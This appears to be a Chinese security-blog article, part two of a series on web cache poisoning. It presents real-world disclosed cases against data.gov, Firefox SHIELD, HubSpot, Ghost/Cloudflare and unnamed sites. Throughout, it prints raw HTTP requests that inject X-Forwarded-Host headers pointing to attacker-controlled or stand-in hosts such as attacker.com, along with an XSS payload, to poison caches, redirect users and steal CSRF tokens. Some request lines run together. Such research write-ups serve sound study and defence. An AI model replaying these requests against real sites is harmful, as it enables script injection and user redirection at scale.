你转发的链接,早被偷偷掉包了
原创
升斗安全XiuXiu
升斗安全XiuXiu
升斗安全
2026年10月22日 07:55
广东
去阅读
【文章说明】
- 目的:本文内容仅为网络安全技术研究与教育目的而创作。
- 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
- 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
- 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。
阅读即代表您同意以上条款。
【内容描述】 上篇我们打下了缓存投毒的地基,也亲手打出了几发\"入门款\"投毒。这篇进入花式利用环节:你会看到缓存投毒如何撬动 DOM XSS、如何阴差阳错劫持 Firefox 数千万用户的 SHIELD 系统、如何在 SaaS 里玩转路由混淆,甚至把你分享到社交媒体的链接偷偷掉包。投毒,远不止\"在页面里插入 JS\"那么简单。
上篇结尾我说了,前面那几种投毒顶多算入门——毒的是页面本身,效果一眼就能看见。
这一篇,我们往上走一层。你会发现,缓存投毒真正可怕的地方,在于它能跟其他漏洞\"搭上线\",把一些本来鸡肋的短板,拼成致命的连锁。
一、DOM 投毒:data.gov 的\"翻译文件\"把戏
先看 data.gov 这个例子。Param Miner 发现它吃 X-Forwarded-Host,响应里有个 data-site-root 属性被我们控制了:
GET /dataset HTTP/1.1Host: catalog.data.govX-Forwarded-Host: canaryHTTP/1.1 200 OKAge: 32707X-Cache: Hit from cloudfront…
可这属性在 HTML 里,我们既突破不了去搞 XSS,也不清楚它到底干啥用。怎么办?上\"匹配替换\"规则:我让 Burp 给所有请求自动加 X-Forwarded-Host: id.burpcollaborator.net,然后正常逛这个站。果然,某些页面加载时,Firefox 主动朝我的服务器发了个请求:
GET /api/i18n/en HTTP/1.1Host: id.burpcollaborator.net
路径 api/i18n/en 暴露了玄机:站上的某段 JS,会用 data-site-root 来决定去哪加载国际化(i18n)数据。我试了下 https://catalog.data.gov/api/i18n/en, 返回空JSON;把 en 换成 es 就有戏了:
GET /api/i18n/es HTTP/1.1Host: catalog.data.govHTTP/1.1 200 OK{”Show more”:”Mostrar más”}
这是个\"短语 → 翻译\"的映射表。那我只要自己做一份翻译文件,再用缓存投毒把用户指到我的文件,就能把正常短语偷偷换成攻击载荷:
GET /api/i18n/en HTTP/1.1Host: portswigger-labs.netHTTP/1.1 200 OK{”Show more”:””}
最终结果:任何页面上出现\"Show more\"的人,都会被无声无息地利用。注意,这里的 XSS 是通过投毒远端 JSON 间接触发的,单纯看页面源码根本发现不了。
二、劫持 Mozilla SHIELD:一份意外之喜
上一个漏洞里我开的那个 X-Forwarded-Host 匹配 / 替换规则,还顺手给了我一个意外惊喜。除了 data.gov 的互动,我还收到一些来路不明的请求:
GET /api/v1/recipe/signed/ HTTP/1.1Host: xyz.burpcollaborator.netUser-Agent: Mozilla/5.0 … Firefox/57.0origin: null
origin: null 我在 CORS 研究里见过,但浏览器主动发全小写的 Origin 头?翻了代理日志才发现,罪魁是 Firefox 自己——它在后台静默拉取一份\"配方(recipe)\"列表,这是 Firefox SHIELD 系统的一部分,用来出于营销 / 研究目的悄悄装扩展(最出名的就是强推那个引发众怒的\"Mr Robot\"扩展)。
看起来,X-Forwarded-Host 把这套系统骗了,让 Firefox 改从我这拉配方:
GET /api/v1/ HTTP/1.1Host: normandy.cdn.mozilla.netX-Forwarded-Host: xyz.burpcollaborator.netHTTP/1.1 200 OK{ ”action-list”: ”https://xyz.burpcollaborator.net/api/v1/action/”, ”recipe-list”: ”https://xyz.burpcollaborator.net/api/v1/recipe/”, … }
配方长这样:
[{ ”id”: 403, ”name”: ”Looking Glass (take 2)”, ”action”: ”opt-out-study”, ”addonUrl”: ”https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi”, ”filter_expression”: ”normandy.country in ['US','CA'] && normandy.version >= '57.0'”}]
这套系统用 NGINX 缓存,自然乐得把我投的毒存下来发给别人。Firefox 每次开浏览器不久就会拉一次这个 URL,还会定期重拉——意味着每天几千万 Firefox 用户,都可能从我这拉配方。
能玩的花活就多了:配方是签名的,我不能直接塞恶意扩展拿代码执行,但我能把几千万真实用户导到我指定的 URL(除了明摆着的 DDoS,要是配上合适的内存破坏漏洞就极其致命);有些 Mozilla 后端吃的是未签名配方,那可能直接在人家内网深处站稳脚跟,甚至摸到配方签名密钥;我还能重放任意旧配方,比如强制大规模装回某个有已知漏洞的老扩展。
我报给 Mozilla 后,他们 24 小时内修了基础设施,但对严重性有分歧,最终只给了 1000 美元赏金。
三、路由投毒:Goodhire / HubSpot 的\"客户错乱\"
有些应用不光傻乎乎地用请求头拼 URL,还拿它来做内部路由:
GET / HTTP/1.1Host: www.goodhire.comX-Forwarded-Server: canaryHTTP/1.1 404 Not FoundHubSpot - Page not foundThe domain canary does not exist in our system.
Goodhire 明显托管在 HubSpot 上,而 HubSpot 让 X-Forwarded-Server 的优先级压过了 Host,以至于搞不清这请求到底该归哪个客户。输入虽然被反射到页面,但做了 HTML 编码,XSS 直接用不了。
要利用,得去 hubspot.com 注册个 HubSpot 客户,在自己页面上放载荷,再诱使 HubSpot 在 goodhire.com 上把这份响应吐出来:
GET / HTTP/1.1Host: www.goodhire.comX-Forwarded-Host: portswigger-labs-4223616.hs-sites.comHTTP/1.1 200 OKalert(document.domain)
Cloudflare 乐呵呵地把这响应缓存了,发给后续访客。
这里插播个教训:Inflection 把报告转给了 HubSpot,后者好像想靠永久封我 IP 来\"解决\"问题,过一阵才真修。文章发出来后 HubSpot 联系我说压根没收到 Inflection 转的报告(所以封 IP 和补丁都算常规操作),要是我直接走他们自己的披露渠道体验会更好。这再次说明,经第三方转交漏洞有多坑。
这类\"路由错乱\"在 SaaS 里特别常见——毕竟一个系统要伺候那么多客户。
四、隐藏路由投毒:Cloudflare 博客 / Ghost
路由投毒有时候藏得很深:
GET / HTTP/1.1Host: blog.cloudflare.comX-Forwarded-Host: canaryHTTP/1.1 302 FoundLocation: https://ghost.org/fail/
Cloudflare 博客是 Ghost 托管的,它明显对 X-Forwarded-Host 做了点啥。你换成另一个被认可的主机名(如 blog.binary.com)能避开 fail 重定向,但只会换来 10 秒诡异延迟,然后还是正常的 blog.cloudflare.com 响应。乍看没啥可乘之机。
但 Ghost 有个机制:用户注册博客时会被分配一个 ghost.io 子域,等自定义了域名(比如 blog.cloudflare.com),那个子域就只做重定向:
GET / HTTP/1.1Host: noshandnibble.ghost.ioHTTP/1.1 302 FoundLocation: http://noshandnibble.blog/
关键来了——这个重定向,也能用 X-Forwarded-Host 触发:
GET / HTTP/1.1Host: blog.cloudflare.comX-Forwarded-Host: noshandnibble.ghost.ioHTTP/1.1 302 FoundLocation: http://noshandnibble.blog/
我注册自己的 ghost.org 账号、设好自定义域名,就能把发往 blog.cloudflare.com 的请求,重定向到我自己的站(wafproxy.net,现已过期),进而劫持图片这类资源加载。
理论上下一步是把 JS 加载也重定向,彻底控制 blog.cloudflare.com——但被一个怪癖拦了:注意重定向用的是 HTTP,而博客本身是 HTTPS 加载的,浏览器的混合内容保护直接把脚本 / 样式表的重定向拦了。
我试遍了也没法让 Ghost 发 HTTPS 重定向,甚至想过干脆把\"用 HTTP 不用 HTTPS\"当漏洞报给 Ghost 让他们帮我修。最后我选了条更妙的路:把问题复刻进 hackxor 并挂上现金奖励,众包求解。第一个解由 Sajjad Hashemian 给出——他发现,只要 Safari 里 wafproxy.net 在浏览器 HSTS 缓存中,重定向会自动升级成 HTTPS 而不被拦。随后 Sam Thomas 基于 Manuel Caballero 的工作,给 Edge 也找到了法子:发一个 302 到 HTTPS URL,能完全绕过 Edge 的混合内容保护。
综合下来:对 Safari 和 Edge 用户,我能彻底攻陷 blog.cloudflare.com、blog.binary.com 以及所有 ghost.org 客户上的每个页面;对 Chrome/Firefox 用户,至少能劫持图片。由于是第三方的问题,我选了走 Binary 报告(他们给现金,Cloudflare 不给)。
五、链接未键控输入:两个半吊子拼出大招
有时候,一个未键控输入只能迷惑应用栈的一部分,得把几个串起来才够看。比如这个站点:
GET /en HTTP/1.1Host: redacted.netX-Forwarded-Host: xyzHTTP/1.1 200 OKSet-Cookie: locale=en; domain=xyz
X-Forwarded-Host 覆盖了 Cookie 的域名,但响应里别的 URL 一点没变——单独看毫无用处。可还有另一个未键控输入:
GET /en HTTP/1.1Host: redacted.netX-Forwarded-Scheme: nothttpsHTTP/1.1 301 Moved PermanentlyLocation: https://redacted.net/en
这个单独看也废。但俩一组合,响应就被扭成了到任意域名的重定向:
GET /en HTTP/1.1Host: redacted.netX-Forwarded-Host: attacker.comX-Forwarded-Scheme: nothttpsHTTP/1.1 301 Moved PermanentlyLocation: https://attacker.com/en
用这招,能通过重定向 POST 请求去偷自定义头里的 CSRF 令牌;也能靠对 JSON 加载投毒恶意响应,搞出类似前面 data.gov 的存储型 DOM XSS。
六、Open Graph 劫持:偷偷掉包你的分享链接
另一个站点上,未键控输入只影响 Open Graph 的 URL:
GET /en HTTP/1.1Host: redacted.netX-Forwarded-Host: attacker.comHTTP/1.1 200 OKCache-Control: max-age=0, private, must-revalidate …
Open Graph 是 Facebook 定的协议,让站长决定内容在社交平台分享时长啥样。我们劫持的 og:url,实际上覆盖了\"被分享的那个 URL\"——所以任何分享这个被投毒页面的人,最终分享的是我们选的内容。
你大概注意到了 Cache-Control: private,Cloudflare 是拒绝缓存这种响应的。好在站上别的页面明确开了缓存:
GET /popularPage HTTP/1.1Host: redacted.netX-Forwarded-Host: evil.comHTTP/1.1 200 OKCache-Control: public, max-age=14400Set-Cookie: session_id=942…CF-Cache-Status: MISS
CF-Cache-Status 显示 Cloudflare 在考虑缓存,但响应始终没真被缓存。我猜是 session\_id cookie 作的怪,带上它重试:
GET /popularPage HTTP/1.1Host: redacted.netCookie: session_id=942…;X-Forwarded-Host: attacker.comHTTP/1.1 200 OKCache-Control: public, max-age=14400CF-Cache-Status: HIT…
这回终于缓存了(后来发现其实直接看 Cloudflare 缓存文档就能少走这步弯路)。
但\"分享\"结果还是没被投毒——Facebook 显然没命中我投毒的那个 Cloudflare 缓存节点。为定位该毒哪个,我用了 Cloudflare 站点上都有的一个调试功能 /cdn-cgi/trace:
它里的 colo=AMS 告诉我,Facebook 是从阿姆斯特丹的缓存访问 wafproxy.net 的;而目标站走的是亚特兰大。于是我在那租了台每月 2 美元的 VPS,重新投毒。从此,任何想分享他们网站各页面的人,最终都会分享我选的内容。
【下期预告】中篇这波,你应该嗅到味道了:单点投毒再花,也还是\"一个输入一处毒\"。下篇(终篇)我们要把投毒升级成\"组合拳\"——用 X-Original-URL 穿透 WAF、污染 Drupal 的内部缓存、劫持 Pinterest 的 JS、嵌套投毒打穿双层缓存,甚至不靠 VPS 就跨区域污染 Cloudflare。最后附上防御清单和人人都会踩的坑。
📌中篇看完要是觉得\"这玩法有点东西\",那就:
👍点个赞, 让更多同行开开眼,缓存投毒能玩出这种花
⭐关注我,终篇(下篇)马上到,链式打击 + 跨云投毒干货管够
🔁转给做 SaaS / 前端的朋友,路由错乱这坑,他们大概率正踩着
💬留言 / 推荐, 你见过最骚的\"未键控输入\"是啥?评论区见
咱们下篇见。🛡️
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论